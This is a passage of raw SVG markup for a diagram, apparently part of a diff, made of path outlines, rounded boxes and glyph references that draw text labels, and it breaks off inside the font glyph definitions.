605.3125 240.167969 C 608.625 240.167969 611.3125 237.480469 611.3125 234.167969 Z M 605.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 50.527598 L 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 52.527598 L 54.451825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 50.527598 L 34.051825 50.527598 C 33.8862 50.527598 33.751825 50.661973 33.751825 50.827598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 50.827598 C 54.751825 50.661973 54.61745 50.527598 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 50.827598 L 33.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 52.227598 L 33.751825 52.227598 C 33.751825 52.393223 33.8862 52.527598 34.051825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 52.527598 L 54.451825 52.527598 C 54.61745 52.527598 54.751825 52.393223 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.8125 242.433594 L 415.710938 242.433594 L 415.710938 265.832031 L 190.8125 265.832031 Z M 190.8125 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#F" x="190.813" y="260.836"/><use xlink:href="#B" x="199.328" y="260.836"/><use xlink:href="#p" x="207.16" y="260.836"/><use xlink:href="#m" x="214.367" y="260.836"/><use xlink:href="#l" x="219.738" y="260.836"/><use xlink:href="#A" x="224.68" y="260.836"/><use xlink:href="#n" x="236.398" y="260.836"/><use xlink:href="#C" x="243.84" y="260.836"/><use xlink:href="#l" x="251.75" y="260.836"/><use xlink:href="#s" x="256.691" y="260.836"/><use xlink:href="#o" x="258.859" y="260.836"/><use xlink:href="#r" x="262.668" y="260.836"/><use xlink:href="#G" x="268.742" y="260.836"/><use xlink:href="#H" x="276.555" y="260.836"/><use xlink:href="#l" x="280.461" y="260.836"/><use xlink:href="#n" x="285.285" y="260.836"/><use xlink:href="#s" x="292.727" y="260.836"/><use xlink:href="#o" x="294.895" y="260.836"/><use xlink:href="#G" x="298.703" y="260.836"/><use xlink:href="#C" x="306.516" y="260.836"/><use xlink:href="#H" x="314.426" y="260.836"/><use xlink:href="#l" x="318.332" y="260.836"/><use xlink:href="#s" x="323.273" y="260.836"/><use xlink:href="#o" x="325.441" y="260.836"/><use xlink:href="#w" x="329.25" y="260.836"/><use xlink:href="#G" x="337.063" y="260.836"/><use xlink:href="#H" x="344.875" y="260.836"/><use xlink:href="#I" x="348.781" y="260.836"/><use xlink:href="#q" x="352.98" y="260.836"/><use xlink:href="#H" x="360.773" y="260.836"/><use xlink:href="#C" x="364.68" y="260.836"/><use xlink:href="#J" x="372.59" y="260.836"/><use xlink:href="#s" x="380.363" y="260.836"/><use xlink:href="#o" x="382.531" y="260.836"/><use xlink:href="#K" x="386.34" y="260.836"/><use xlink:href="#x" x="394.777" y="260.836"/><use xlink:href="#x" x="402.551" y="260.836"/><use xlink:href="#m" x="410.324" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#L" x="149.242" y="311.195"/><use xlink:href="#h" x="158.383" y="311.195"/><use xlink:href="#M" x="162.875" y="311.195"/><use xlink:href="#N" x="168.305" y="311.195"/><path d="M 197.3125 283.667969 L 385.3125 283.667969 L 385.3125 323.667969 L 197.3125 323.667969 Z M 197.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 289.667969 L 197.3125 283.667969 C 194 283.667969 191.3125 286.355469 191.3125 289.667969 Z M 197.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 289.667969 L 391.3125 289.667969 C 391.3125 286.355469 388.625 283.667969 385.3125 283.667969 Z M 385.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 289.667969 L 391.3125 289.667969 L 391.3125 317.667969 L 191.3125 317.667969 Z M 191.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 317.667969 L 191.3125 317.667969 C 191.3125 320.980469 194 323.667969 197.3125 323.667969 Z M 197.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 317.667969 L 385.3125 323.667969 C 388.625 323.667969 391.3125 320.980469 391.3125 317.667969 Z M 385.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 54.702598 L 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 56.702598 L 43.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 54.702598 L 34.051825 54.702598 C 33.8862 54.702598 33.751825 54.836973 33.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 55.002598 C 43.751825 54.836973 43.61745 54.702598 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 55.002598 L 33.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 56.402598 L 33.751825 56.402598 C 33.751825 56.568223 33.8862 56.702598 34.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.451825 56.702598 L 43.451825 56.702598 C 43.61745 56.702598 43.751825 56.568223 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><use xlink:href="#O" x="114.887" y="382.422"/><use xlink:href="#P" x="123.793" y="382.422"/><use xlink:href="#Q" x="128.559" y="382.422"/><use xlink:href="#f" x="137.465" y="382.422"/><use xlink:href="#L" x="141.352" y="382.422"/><use xlink:href="#R" x="149.945" y="382.422"/><use xlink:href="#b" x="158.852" y="382.422"/><use xlink:href="#d" x="167.758" y="382.422"/><path d="M 197.3125 354.898438 L 305.3125 354.898438 L 305.3125 394.898438 L 197.3125 394.898438 Z M 197.3125 354.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 360.898438 L 197.3125 354.898438 C 194 354.898438 191.3125 357.585938 191.3125 360.898438 Z M 197.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 360.898438 L 311.3125 360.898438 C 311.3125 357.585938 308.625 354.898438 305.3125 354.898438 Z M 305.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 360.898438 L 311.3125 360.898438 L 311.3125 388.898438 L 191.3125 388.898438 Z M 191.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 388.898438 L 191.3125 388.898438 C 191.3125 392.210938 194 394.898438 197.3125 394.898438 Z M 197.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 388.898438 L 305.3125 394.898438 C 308.625 394.898438 311.3125 392.210938 311.3125 388.898438 Z M 305.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 58.264122 L 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 60.264122 L 39.451825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 58.264122 L 34.051825 58.264122 C 33.8862 58.264122 33.751825 58.398497 33.751825 58.564122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 58.564122 C 39.751825 58.398497 39.61745 58.264122 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 58.564122 L 33.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 59.964122 L 33.751825 59.964122 C 33.751825 60.129747 33.8862 60.264122 34.051825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.451825 60.264122 L 39.451825 60.264122 C 39.61745 60.264122 39.751825 60.129747 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.3125 283.667969 L 605.3125 283.667969 L 605.3125 323.667969 L 477.3125 323.667969 Z M 477.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 289.667969 L 477.3125 283.667969 C 474 283.667969 471.3125 286.355469 471.3125 289.667969 Z M 477.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 289.667969 L 611.3125 289.667969 C 611.3125 286.355469 608.625 283.667969 605.3125 283.667969 Z M 605.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.3125 289.667969 L 611.3125 289.667969 L 611.3125 317.667969 L 471.3125 317.667969 Z M 471.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 317.667969 L 471.3125 317.667969 C 471.3125 320.980469 474 323.667969 477.3125 323.667969 Z M 477.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 317.667969 L 605.3125 323.667969 C 608.625 323.667969 611.3125 320.980469 611.3125 317.667969 Z M 605.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.051825 54.702598 L 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 56.702598 L 54.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 54.702598 L 48.051825 54.702598 C 47.8862 54.702598 47.751825 54.836973 47.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 55.002598 C 54.751825 54.836973 54.61745 54.702598 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 55.002598 L 47.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 56.402598 L 47.751825 56.402598 C 47.751825 56.568223 47.8862 56.702598 48.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 56.702598 L 54.451825 56.702598 C 54.61745 56.702598 54.751825 56.568223 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#S" x="423.066" y="311.195"/><use xlink:href="#M" x="431.855" y="311.195"/><use xlink:href="#T" x="437.676" y="311.195"/><use xlink:href="#M" x="445.938" y="311.195"/><use xlink:href="#d" x="451.758" y="311.195"/></g><path d="M 27.900653 42.973497 L 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 27.905536 44.871934 C 27.780536 44.87213 27.655145 44.74752 27.65495 44.62252 C 27.654559 44.49752 27.779169 44.37213 27.904169 44.371934 C 28.029169 44.371544 28.154559 44.496348 28.15495 44.621348 C 28.155145 44.746348 28.030536 44.871544 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.275067 43.802208 L 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.249091 49.473887 C 46.124091 49.473302 45.999481 49.347716 46.000067 49.222716 C 46.000653 49.097716 46.126239 48.973302 46.251239 48.973887 C 46.376239 48.974473 46.500653 49.100059 46.500067 49.225059 C 46.499481 49.350059 46.374091 49.474473 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 519.304688 458.691406 L 696.003906 458.691406 L 696.003906 482.089844 L 519.304688 482.089844 Z M 519.304688 458.691406" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="519.305" y="477.09"/><use xlink:href="#x" x="527.137" y="477.09"/><use xlink:href="#r" x="534.91" y="477.09"/><use xlink:href="#l" x="540.984" y="477.09"/><use xlink:href="#p" x="545.926" y="477.09"/><use xlink:href="#I" x="553.133" y="477.09"/><use xlink:href="#U" x="557.332" y="477.09"/><use xlink:href="#p" x="563.348" y="477.09"/><use xlink:href="#q" x="570.555" y="477.09"/><use xlink:href="#q" x="578.348" y="477.09"/><use xlink:href="#m" x="586.141" y="477.09"/><use xlink:href="#n" x="591.082" y="477.09"/><use xlink:href="#r" x="598.523" y="477.09"/><use xlink:href="#r" x="604.598" y="477.09"/><use xlink:href="#U" x="610.672" y="477.09"/><use xlink:href="#r" x="616.688" y="477.09"/><use xlink:href="#l" x="622.762" y="477.09"/><use xlink:href="#p" x="627.703" y="477.09"/><use xlink:href="#l" x="634.91" y="477.09"/><use xlink:href="#n" x="639.734" y="477.09"/><use xlink:href="#U" x="647.176" y="477.09"/><use xlink:href="#V" x="653.191" y="477.09"/><use xlink:href="#H" x="663.816" y="477.09"/><use xlink:href="#q" x="667.723" y="477.09"/><use xlink:href="#J" x="675.516" y="477.09"/><use xlink:href="#n" x="683.289" y="477.09"/><use xlink:href="#l" x="690.73" y="477.09"/></g><path d="M 44.988281 24.355469 L 165.839844 24.355469 L 165.839844 47.753906 L 44.988281 47.753906 Z M 44.988281 24.355469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="44.988" y="42.754"/><use xlink:href="#x" x="52.82" y="42.754"/><use xlink:href="#r" x="60.594" y="42.754"/><use xlink:href="#l" x="66.668" y="42.754"/><use xlink:href="#p" x="71.609" y="42.754"/><use xlink:href="#I" x="78.816" y="42.754"/><use xlink:href="#U" x="83.016" y="42.754"/><use xlink:href="#p" x="89.031" y="42.754"/><use xlink:href="#q" x="96.238" y="42.754"/><use xlink:href="#q" x="104.031" y="42.754"/><use xlink:href="#m" x="111.824" y="42.754"/><use xlink:href="#n" x="116.766" y="42.754"/><use xlink:href="#r" x="124.207" y="42.754"/><use xlink:href="#r" x="130.281" y="42.754"/><use xlink:href="#U" x="136.355" y="42.754"/><use xlink:href="#m" x="142.371" y="42.754"/><use xlink:href="#x" x="147.313" y="42.754"/><use xlink:href="#V" x="154.949" y="42.754"/></g><path d="M 311.148438 41.605469 L 524.5 41.605469 L 524.5 65.003906 L 311.148438 65.003906 Z M 311.148438 41.605469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="311.148" y="60.008"/><use xlink:href="#x" x="318.98" y="60.008"/><use xlink:href="#r" x="326.754" y="60.008"/><use xlink:href="#l" x="332.828" y="60.008"/><use xlink:href="#p" x="337.77" y="60.008"/><use xlink:href="#I" x="344.977" y="60.008"/><use xlink:href="#U" x="349.176" y="60.008"/><use xlink:href="#p" x="355.191" y="60.008"/><use xlink:href="#q" x="362.398" y="60.008"/><use xlink:href="#q" x="370.191" y="60.008"/><use xlink:href="#m" x="377.984" y="60.008"/><use xlink:href="#n" x="382.926" y="60.008"/><use xlink:href="#r" x="390.367" y="60.008"/><use xlink:href="#r" x="396.441" y="60.008"/><use xlink:href="#U" x="402.516" y="60.008"/><use xlink:href="#p" x="408.531" y="60.008"/><use xlink:href="#q" x="415.738" y="60.008"/><use xlink:href="#q" x="423.531" y="60.008"/><use xlink:href="#m" x="431.324" y="60.008"/><use xlink:href="#n" x="436.266" y="60.008"/><use xlink:href="#r" x="443.707" y="60.008"/><use xlink:href="#r" x="449.781" y="60.008"/><use xlink:href="#W" x="455.855" y="60.008"/><use xlink:href="#H" x="463.316" y="60.008"/><use xlink:href="#C" x="467.223" y="60.008"/><use xlink:href="#n" x="475.133" y="60.008"/><use xlink:href="#X" x="482.574" y="60.008"/><use xlink:href="#U" x="490.68" y="60.008"/><use xlink:href="#Y" x="496.695" y="60.008"/><use xlink:href="#n" x="504.625" y="60.008"/><use xlink:href="#I" x="512.066" y="60.008"/><use xlink:href="#B" x="516.266" y="60.008"/></g><path d="M 54.402344 467.421875 L 238.003906 467.421875 L 238.003906 490.820312 L 54.402344 490.820312 Z M 54.402344 467.421875" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="54.402" y="485.82"/><use xlink:href="#x" x="62.234" y="485.82"/><use xlink:href="#r" x="70.008" y="485.82"/><use xlink:href="#l" x="76.082" y="485.82"/><use xlink:href="#p" x="81.023" y="485.82"/><use xlink:href="#I" x="88.23" y="485.82"/><use xlink:href="#U" x="92.43" y="485.82"/><use xlink:href="#p" x="98.445" y="485.82"/><use xlink:href="#q" x="105.652" y="485.82"/><use xlink:href="#q" x="113.445" y="485.82"/><use xlink:href="#m" x="121.238" y="485.82"/><use xlink:href="#n" x="126.18" y="485.82"/><use xlink:href="#r" x="133.621" y="485.82"/><use xlink:href="#r" x="139.695" y="485.82"/><use xlink:href="#U" x="145.77" y="485.82"/><use xlink:href="#Z" x="151.785" y="485.82"/><use xlink:href="#H" x="158.27" y="485.82"/><use xlink:href="#B" x="162.176" y="485.82"/><use xlink:href="#aa" x="170.008" y="485.82"/><use xlink:href="#x" x="177.781" y="485.82"/><use xlink:href="#q" x="185.555" y="485.82"/><use xlink:href="#n" x="193.348" y="485.82"/><use xlink:href="#U" x="200.789" y="485.82"/><use xlink:href="#I" x="206.805" y="485.82"/><use xlink:href="#p" x="211.004" y="485.82"/><use xlink:href="#w" x="218.211" y="485.82"/><use xlink:href="#n" x="226.023" y="485.82"/><use xlink:href="#I" x="233.465" y="485.82"/></g><path d="M 53.802606 63.60045 L 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 53.829364 56.467247 C 53.954364 56.467637 54.078778 56.593223 54.078387 56.718223 C 54.077997 56.843223 53.952411 56.967637 53.827411 56.967247 C 53.702411 56.966661 53.577997 56.84127 53.578387 56.71627 C 53.578778 56.59127 53.704364 56.466661 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.356122 63.967833 L 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.382684 59.091075 C 29.507684 59.091856 29.632098 59.217442 29.631317 59.342442 C 29.630731 59.467442 29.50495 59.591856 29.37995 59.591075 C 29.25495 59.590489 29.130731 59.464708 29.131317 59.339708 C 29.132098 59.214708 29.257684 59.090489 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 512"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 